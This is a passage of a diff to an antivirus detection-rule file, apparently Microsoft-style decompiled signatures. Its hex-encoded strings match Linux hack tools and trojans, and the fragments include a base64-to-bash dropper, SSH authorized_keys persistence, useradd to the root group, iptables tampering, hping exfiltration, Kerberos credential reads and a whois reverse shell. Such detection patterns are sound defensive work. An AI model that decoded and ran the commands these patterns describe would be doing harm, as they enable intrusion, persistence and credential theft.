6d 3a 4c 69 6e 75 78 2f 42 61 62 75 6b 2e 48 00 05 00 0c 00 2d 00 2d 00 70 00 61 00 74 00 68 00 01 00 18 00 2d 00 2d 00 70 00 72 00 6f 00 63 00 6b 00 69 00 6c 00 6c 00 65 00 72 00 01 00 10 00 2d 00 2d 00 64 00 65 } //21283 慒獮浯䰺湩硵䈯扡歵䠮Ԁఀⴀⴀ瀀愀琀栀Ā᠀ⴀⴀ瀀爀漀挀欀椀氀氀攀爀Āကⴀⴀ搀攀 - $a_00_2 = {00 00 d7 63 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 56 69 72 73 68 53 68 75 74 64 6f 77 6e 2e 41 00 0a 00 0a 00 76 00 69 00 72 00 73 00 68 00 0a 00 10 00 73 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 0a 00 10 00 2d 00 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 00 } //99 + $a_00_2 = {00 00 d7 63 00 00 1e 00 1e 00 03 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 53 69 67 6e 61 6c 48 61 6e 64 6c 65 72 2e 41 00 0a 00 08 00 74 00 72 00 61 00 70 00 0a 00 10 00 53 00 42 00 53 00 69 00 67 00 6e 00 61 00 6c 00 0a 00 08 00 45 00 58 00 49 00 54 00 00 } //99 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99) >=6 } -rule _InfrastructureShared_26093{ +rule _InfrastructureShared_27472{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 53 69 67 6e 61 6c 48 61 6e 64 6c 65 72 2e 41 00 0a 00 08 00 74 00 72 00 61 00 70 00 0a 00 10 00 53 00 42 00 53 00 69 00 67 00 6e 00 61 00 6c 00 0a 00 08 } //21283 + $a_00_2 = {00 00 d7 63 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 56 69 72 73 68 53 68 75 74 64 6f 77 6e 2e 41 00 0a 00 0a 00 76 00 69 00 72 00 73 00 68 00 0a 00 10 00 73 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 0a } //73 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*73) >=30 + +} +rule _InfrastructureShared_27473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -341556,7 +359652,7 @@ rule _InfrastructureShared_26093{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_54_2 & 1)*29776) >=30 } -rule _InfrastructureShared_26094{ +rule _InfrastructureShared_27474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 04 00 21 " @@ -341568,7 +359664,7 @@ rule _InfrastructureShared_26094{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*5+(#a_6a_3 & 1)*0) >=16 } -rule _InfrastructureShared_26095{ +rule _InfrastructureShared_27475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -341579,7 +359675,7 @@ rule _InfrastructureShared_26095{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32) >=10 } -rule _InfrastructureShared_26096{ +rule _InfrastructureShared_27476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -341589,7 +359685,29 @@ rule _InfrastructureShared_26096{ ((#a_46_0 & 1)*21283) >=20 } -rule _InfrastructureShared_26097{ +rule _InfrastructureShared_27477{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 4b 65 72 62 65 72 6f 73 43 72 65 64 65 6e 74 69 61 6c 41 63 63 65 73 73 2e 41 00 0a 00 28 00 63 00 61 00 74 00 20 00 2f 00 74 00 6d 00 70 00 2f 00 6b 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_27478{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 50 61 63 75 2e 44 00 05 00 0c 00 64 00 6f 00 63 00 6b 00 65 00 72 00 04 00 06 00 72 00 75 00 6e 00 01 00 06 00 2d 00 69 00 74 00 01 00 22 00 72 00 68 00 69 00 6e 00 6f 00 73 00 65 00 } //21283 + $a_00_1 = {72 00 69 00 74 00 79 00 6c 00 61 00 62 00 73 00 00 00 d7 74 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 43 56 45 2d 32 30 32 34 2d 33 30 39 34 2e 42 00 05 00 12 00 73 00 65 00 64 00 20 00 72 00 70 00 61 00 74 00 68 00 05 00 2e 00 2f 00 62 00 61 00 64 00 2d 00 33 00 2d 00 63 00 6f 00 72 00 72 00 75 00 70 00 74 } //99 + $a_00_3 = {61 00 32 00 2e 00 78 00 7a 00 00 00 d7 75 00 00 1e 00 1e 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6e 74 69 46 6f 72 65 6e 73 69 63 73 43 6d 64 48 69 73 74 6f 72 79 2e 42 00 0a 00 06 00 6c 00 6e 00 20 00 0a 00 12 00 2f 00 64 00 65 00 76 00 2f 00 6e 00 75 00 6c 00 6c 00 0a 00 1c 00 2f 00 2e 00 62 00 } //122 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99+(#a_00_3 & 1)*122) >=11 + +} +rule _InfrastructureShared_27479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -341600,18 +359718,40 @@ rule _InfrastructureShared_26097{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114) >=10 } -rule _InfrastructureShared_26098{ +rule _InfrastructureShared_27480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6e 74 69 46 6f 72 65 6e 73 69 63 73 43 6d 64 48 69 73 74 6f 72 79 2e 42 00 0a 00 06 00 6c 00 6e 00 20 00 0a 00 12 00 2f 00 64 00 65 00 76 00 2f 00 6e 00 75 00 6c 00 6c 00 0a 00 1c 00 2f } //16675 - $a_00_2 = {68 00 5f 00 68 00 69 00 73 00 74 00 6f 00 72 00 79 00 00 00 d7 7b 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 61 63 6b 65 74 46 69 6c 74 65 72 44 69 73 61 62 6c 65 2e 41 00 0a 00 1e 01 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 70 00 66 00 20 00 73 00 74 00 6f 00 70 00 0a 00 24 01 73 00 65 00 72 00 } //97 + $a_00_2 = {68 00 5f 00 68 00 69 00 73 00 74 00 6f 00 72 00 79 00 00 00 d7 76 00 00 0f 00 0f 00 03 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 55 73 65 72 43 72 65 61 74 65 2e 41 00 0a 00 0e 00 75 00 73 00 65 00 72 00 61 00 64 00 64 00 05 00 14 00 53 00 42 00 61 00 74 00 74 00 61 00 63 00 6b 00 65 00 72 } //97 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97) >=30 } -rule _InfrastructureShared_26099{ +rule _InfrastructureShared_27481{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 55 73 65 72 43 72 65 61 74 65 2e 41 00 0a 00 0e 00 75 00 73 00 65 00 72 00 61 00 64 00 64 00 05 00 14 00 53 00 42 00 61 00 74 00 74 00 61 00 63 00 6b 00 } //21283 + $a_00_1 = {05 00 14 00 53 00 42 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 00 00 d7 79 00 00 07 00 07 00 03 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 46 69 6e 67 65 72 70 72 69 6e 74 49 41 4d 41 63 63 6f 75 6e 74 2e 41 00 05 00 08 00 61 00 77 00 73 00 20 00 01 00 0a 00 20 00 73 00 74 00 73 00 20 00 01 00 26 00 67 00 65 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101) >=15 + +} +rule _InfrastructureShared_27482{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 46 69 6e 67 65 72 70 72 69 6e 74 49 41 4d 41 63 63 6f 75 6e 74 2e 41 00 05 00 08 00 61 00 77 00 73 00 20 00 01 00 0a 00 20 00 73 00 74 00 73 00 20 00 01 00 26 00 67 00 65 00 74 00 2d } //21283 + $a_00_2 = {65 00 72 00 2d 00 69 00 64 00 65 00 6e 00 74 00 69 00 74 00 79 00 00 00 d7 7b 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 61 63 6b 65 74 46 69 6c 74 65 72 44 69 73 61 62 6c 65 2e 41 00 0a 00 1e 01 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 70 00 66 00 20 00 73 00 74 00 6f 00 70 } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108) >=7 + +} +rule _InfrastructureShared_27483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -341622,7 +359762,7 @@ rule _InfrastructureShared_26099{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10) >=10 } -rule _InfrastructureShared_26100{ +rule _InfrastructureShared_27484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 05 00 21 " @@ -341630,12 +359770,12 @@ rule _InfrastructureShared_26100{ $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 45 78 66 69 6c 74 72 61 74 69 6f 6e 48 70 69 6e 67 2e 5a 00 0a 00 0c 00 68 00 70 00 69 00 6e 00 67 00 33 00 0a 00 0c 00 2d 00 2d 00 66 00 69 00 6c 00 65 00 0a 00 0c 00 2d 00 2d 00 64 } //21283 $a_00_2 = {06 00 20 00 2d 00 64 00 0a 00 } //97 $a_00_3 = {2d 00 69 00 63 00 6d 00 70 00 00 00 d7 7d 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 73 } //12 - $a_74_4 = {4b 65 79 50 65 72 73 69 73 74 2e 4d 52 34 00 0a 00 0a 00 65 00 63 00 68 00 6f 00 20 00 0a 00 38 00 3e 00 20 00 2f 00 72 00 6f 00 6f 00 74 00 2f 00 2e 00 73 00 73 00 68 00 2f 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 65 00 64 00 5f 00 6b 00 65 00 79 00 73 00 00 00 d7 80 00 00 06 00 06 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e } //16744 + $a_74_4 = {4b 65 79 50 65 72 73 69 73 74 2e 4d 52 34 00 0a 00 0a 00 65 00 63 00 68 00 6f 00 20 00 0a 00 38 00 3e 00 20 00 2f 00 72 00 6f 00 6f 00 74 00 2f 00 2e 00 73 00 73 00 68 00 2f 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 65 00 64 00 5f 00 6b 00 65 00 79 00 73 00 00 00 d7 81 00 00 15 00 15 00 08 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c } //16744 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_3 & 1)*12+(#a_74_4 & 1)*16744) >=40 } -rule _InfrastructureShared_26101{ +rule _InfrastructureShared_27485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -341645,18 +359785,7 @@ rule _InfrastructureShared_26101{ ((#a_46_0 & 1)*21283) >=20 } -rule _InfrastructureShared_26102{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 75 73 70 69 63 69 6f 75 73 43 72 6f 6e 2e 41 00 02 00 14 00 63 00 72 00 6f 00 6e 00 74 00 61 00 62 00 20 00 2d 00 6c 00 02 00 22 00 65 00 63 00 68 00 6f 00 20 00 2a 00 2f 00 31 00 20 00 } //21283 - $a_00_1 = {2a 00 20 00 2a 00 20 00 2a 00 20 00 02 00 12 00 63 00 72 00 6f 00 6e 00 74 00 61 00 62 00 20 00 } //42 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*42) >=6 - -} -rule _InfrastructureShared_26103{ +rule _InfrastructureShared_27486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 08 00 21 " @@ -341665,14 +359794,23 @@ rule _InfrastructureShared_26103{ $a_00_2 = {2f 00 63 00 24 00 } //1 /c$ $a_00_3 = {2f 00 64 00 24 00 } //1 /d$ $a_00_4 = {2f 00 69 00 70 00 63 00 24 00 } //1 /ipc$ - $a_86_5 = {00 06 00 06 00 05 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 64 64 55 73 65 72 54 6f 52 6f 6f 74 47 72 6f 75 70 2e 41 00 05 00 10 00 61 00 64 00 64 00 75 00 73 00 65 00 72 00 20 00 01 00 0a 00 2d 00 67 00 20 00 30 00 20 00 01 00 08 00 2d 00 67 00 30 00 20 00 01 00 10 00 2d 00 67 00 20 00 72 00 6f 00 6f 00 74 00 20 00 01 00 0e 00 2d 00 67 00 72 00 6f 00 6f 00 74 00 20 00 00 00 d7 86 00 00 06 00 06 00 05 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 64 64 55 73 65 72 54 6f 52 6f 6f 74 47 72 6f 75 70 2e 42 00 05 00 10 00 75 00 73 00 65 00 72 00 61 00 64 00 64 00 20 00 01 00 0a 00 2d 00 67 00 } //0 - $a_00_6 = {20 00 01 00 08 00 2d 00 67 00 30 00 20 00 01 00 10 00 2d 00 67 00 20 00 72 00 6f 00 6f 00 74 00 20 00 01 00 0e 00 2d 00 67 00 72 00 6f 00 6f 00 } //32 - $a_00_7 = {00 00 d7 88 00 00 0a 00 0a 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 } //116 + $a_82_5 = {00 01 00 01 00 01 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 42 36 34 64 72 6f 70 70 65 72 2e 42 00 01 00 54 02 62 00 61 00 73 00 68 00 20 00 2d 00 63 00 20 00 62 00 61 00 73 00 65 00 36 00 34 00 20 00 2d 00 64 00 20 00 3c 00 3c 00 3c 00 90 27 ff 00 90 23 ff 0e 61 2d 7a 41 2d 5a 30 2d 39 2b 2f 3d 22 27 90 27 ff 00 7c 00 90 27 ff 00 62 00 61 00 73 00 68 00 90 00 00 00 d7 86 00 00 06 00 06 00 05 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 64 64 55 73 65 72 54 6f 52 6f 6f 74 47 72 6f 75 70 2e 41 00 05 00 10 00 61 00 64 00 64 00 75 00 73 00 65 00 72 00 20 00 01 00 0a 00 2d 00 67 00 20 00 30 00 } //0 + $a_00_6 = {08 } //32 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_86_5 & 1)*0+(#a_00_6 & 1)*32+(#a_00_7 & 1)*116) >=21 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_82_5 & 1)*0+(#a_00_6 & 1)*32) >=21 } -rule _InfrastructureShared_26104{ +rule _InfrastructureShared_27487{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 42 36 34 64 72 6f 70 70 65 72 2e 42 00 01 00 54 02 62 00 61 00 73 00 68 00 20 00 2d 00 63 00 20 00 62 00 61 00 73 00 65 00 36 00 34 00 20 00 2d 00 64 00 20 00 3c 00 3c 00 3c 00 90 27 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 05 00 21 " @@ -341685,44 +359823,91 @@ rule _InfrastructureShared_26104{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*103+(#a_00_2 & 1)*6+(#a_63_3 & 1)*18490) >=6 } -rule _InfrastructureShared_26105{ +rule _InfrastructureShared_27489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 05 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 41 64 64 55 73 65 72 54 6f 52 6f 6f 74 47 72 6f 75 70 2e 42 00 05 00 10 00 75 00 73 00 65 00 72 00 61 00 64 00 64 00 20 00 01 00 0a 00 2d 00 67 00 20 00 30 00 20 00 01 00 08 00 2d 00 } //21283 - $a_00_1 = {20 00 01 00 10 00 2d 00 67 00 20 00 72 00 6f 00 6f 00 74 00 20 00 01 00 0e 00 2d 00 67 00 72 00 6f 00 6f 00 74 00 20 00 00 00 d7 88 00 00 0a 00 } //103 - $a_00_2 = {21 23 41 } //10 !#A - $a_52_3 = {6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 6f 67 43 6d 64 2e 45 00 0a 00 16 00 20 00 e2 00 80 00 93 00 6e 00 6f 00 6d 00 75 00 74 00 65 00 78 00 0a 00 1c 00 20 00 e2 00 80 00 93 00 } //17996 - $a_00_4 = {6f 00 77 00 74 00 61 00 6c 00 6b 00 69 00 64 00 0a 00 26 00 20 00 e2 00 80 00 93 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 61 00 6c 00 6c 00 66 00 69 00 6c 00 65 00 73 00 00 00 d7 8a 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 74 61 62 6c 65 73 54 61 6d 70 65 72 2e } //115 + $a_00_1 = {20 00 01 00 10 00 2d 00 67 00 20 00 72 00 6f 00 6f 00 74 00 20 00 01 00 0e 00 2d 00 67 00 72 00 6f 00 6f 00 74 00 20 00 00 00 d7 88 00 00 08 00 } //103 + $a_00_2 = {21 23 53 4c } //8 !#SL + $a_72_3 = {6a 61 6e 3a 4c 69 6e 75 78 2f 53 75 73 70 50 72 69 76 69 45 73 63 61 6c 61 74 69 6f 6e 2e 42 36 00 02 00 0c 00 73 00 65 00 64 00 20 00 2d 00 6e 00 02 00 1c 00 65 00 78 00 65 00 63 00 20 00 2f 00 62 00 69 00 6e 00 2f 00 62 00 61 00 73 00 68 00 02 00 0a } //14918 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*103+(#a_00_2 & 1)*10+(#a_52_3 & 1)*17996+(#a_00_4 & 1)*115) >=6 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*103+(#a_00_2 & 1)*8+(#a_72_3 & 1)*14918) >=6 } -rule _InfrastructureShared_26106{ +rule _InfrastructureShared_27490{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 75 73 70 50 72 69 76 69 45 73 63 61 6c 61 74 69 6f 6e 2e 42 36 00 02 00 0c 00 73 00 65 00 64 00 20 00 2d 00 6e 00 02 00 1c 00 65 00 78 00 65 00 63 00 20 00 2f 00 62 00 69 00 6e 00 2f 00 } //21283 + $a_00_1 = {73 00 68 00 02 00 0a 00 20 00 31 00 3e 00 26 00 30 00 02 00 14 00 2f 00 65 00 74 00 63 00 2f 00 68 00 6f 00 73 00 74 00 73 00 00 00 d7 88 00 00 0a 00 0a 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 6f 67 43 6d 64 2e 45 00 0a 00 16 00 20 00 e2 00 80 00 93 00 6e 00 6f } //98 + $a_00_3 = {78 00 0a 00 1c 00 20 00 e2 00 80 00 93 00 73 00 68 00 6f 00 77 00 74 00 61 00 6c 00 6b 00 69 00 64 00 0a 00 26 00 20 00 e2 00 80 00 93 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 61 00 6c 00 6c 00 66 00 69 00 6c 00 65 00 73 00 00 00 d7 8a 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*98+(#a_00_3 & 1)*116) >=8 + +} +rule _InfrastructureShared_27491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 46 6f 67 43 6d 64 2e 45 00 0a 00 16 00 20 00 e2 00 80 00 93 00 6e 00 6f 00 6d 00 75 00 74 00 65 00 78 00 0a 00 1c 00 20 00 e2 00 80 00 93 00 73 00 68 00 6f 00 77 00 74 00 61 00 6c 00 6b 00 } //16675 $a_00_1 = {0a 00 26 00 20 00 e2 00 80 00 93 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 61 00 6c 00 6c 00 66 00 69 00 6c 00 65 00 73 00 00 00 d7 8a 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 74 61 62 6c 65 73 54 61 6d 70 65 72 2e 42 00 0a 00 27 02 69 00 70 00 74 00 } //105 - $a_00_2 = {6c 00 65 00 73 00 90 02 f0 2d 00 6a 00 20 00 41 00 43 00 43 00 45 00 50 00 54 00 90 00 0a 00 2f 02 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 90 02 f0 2d 00 2d 00 6a 00 75 00 6d 00 70 00 20 00 41 00 43 00 43 00 45 00 50 00 54 00 90 00 00 00 d7 91 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a } //97 + $a_00_2 = {6c 00 65 00 73 00 90 02 f0 2d 00 6a 00 20 00 41 00 43 00 43 00 45 00 50 00 54 00 90 00 0a 00 2f 02 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 90 02 f0 2d 00 2d 00 6a 00 75 00 6d 00 70 00 20 00 41 00 43 00 43 00 45 00 50 00 54 00 90 00 00 00 d7 8a 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a } //97 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*97) >=10 } -rule _InfrastructureShared_26107{ +rule _InfrastructureShared_27492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 49 70 74 61 62 6c 65 73 54 61 6d 70 65 72 2e 42 00 0a 00 27 02 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 90 02 f0 2d 00 6a 00 20 00 41 00 43 00 43 00 45 00 50 00 } //21539 - $a_00_1 = {0a 00 2f 02 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 90 02 f0 2d 00 2d 00 6a 00 75 00 6d 00 70 00 20 00 41 00 43 00 43 00 45 00 50 00 54 00 90 00 00 00 d7 91 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 6e 69 78 52 65 53 68 65 6c 6c 43 6d 64 2e 42 00 0a 00 1d 02 77 00 68 00 6f 00 69 00 73 00 20 00 2d 00 68 00 20 00 90 02 20 20 00 2d 00 70 00 90 00 ce ff 12 00 31 00 } //84 + $a_00_1 = {0a 00 2f 02 69 00 70 00 74 00 61 00 62 00 6c 00 65 00 73 00 90 02 f0 2d 00 2d 00 6a 00 75 00 6d 00 70 00 20 00 41 00 43 00 43 00 45 00 50 00 54 00 90 00 00 00 d7 8a 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 50 61 63 75 2e 43 00 05 00 06 00 67 00 69 00 74 00 05 00 0a 00 63 00 6c 00 6f 00 6e 00 65 00 01 00 4a 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 52 00 68 } //84 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*84) >=10 } -rule _InfrastructureShared_26108{ +rule _InfrastructureShared_27493{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 50 61 63 75 2e 43 00 05 00 06 00 67 00 69 00 74 00 05 00 0a 00 63 00 6c 00 6f 00 6e 00 65 00 01 00 4a 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 52 00 68 00 } //21283 + $a_00_1 = {6f 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 4c 00 61 00 62 00 73 00 2f 00 70 00 61 00 63 00 75 00 2e 00 67 00 69 00 74 00 00 00 d7 8a 00 00 19 00 19 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 53 79 73 74 65 6d 55 73 65 72 43 72 65 61 74 65 2e 41 00 0a 00 0e 00 75 00 73 00 65 00 } //105 + $a_00_2 = {64 00 64 00 0a 00 10 00 2d 00 2d 00 73 00 79 00 73 00 74 00 65 00 6d 00 05 00 14 00 53 00 42 00 61 00 74 00 74 00 61 00 63 00 6b 00 65 00 72 00 05 00 14 00 53 00 42 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 00 00 d7 8e 00 00 0b 00 0b 00 02 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_00_2 & 1)*114) >=11 + +} +rule _InfrastructureShared_27494{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,19 00 19 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 53 79 73 74 65 6d 55 73 65 72 43 72 65 61 74 65 2e 41 00 0a 00 0e 00 75 00 73 00 65 00 72 00 61 00 64 00 64 00 0a 00 10 00 2d 00 2d 00 73 00 79 00 73 00 74 00 65 00 6d 00 } //21283 + $a_00_1 = {53 00 42 00 61 00 74 00 74 00 61 00 63 00 6b 00 65 00 72 00 } //5 SBattacker + $a_00_2 = {53 00 42 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 } //5 SBUsername + $a_8e_3 = {00 0b 00 0b 00 02 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 6c 6f 75 64 70 65 61 73 73 2e 41 00 01 00 12 00 67 00 69 00 74 00 20 00 63 00 6c 00 6f 00 6e 00 65 00 0a 00 4a 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 63 00 61 00 72 00 6c 00 6f 00 73 00 70 00 6f 00 6c 00 6f 00 70 00 2f 00 63 00 6c 00 6f 00 75 00 64 00 70 00 65 00 61 00 73 00 73 00 2e 00 67 00 69 00 74 00 00 00 d7 91 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 55 6e 69 78 52 65 53 68 65 6c 6c 43 6d 64 2e 42 00 0a 00 1d 02 77 00 68 00 6f 00 69 00 73 00 20 00 2d 00 68 00 } //0 + condition: 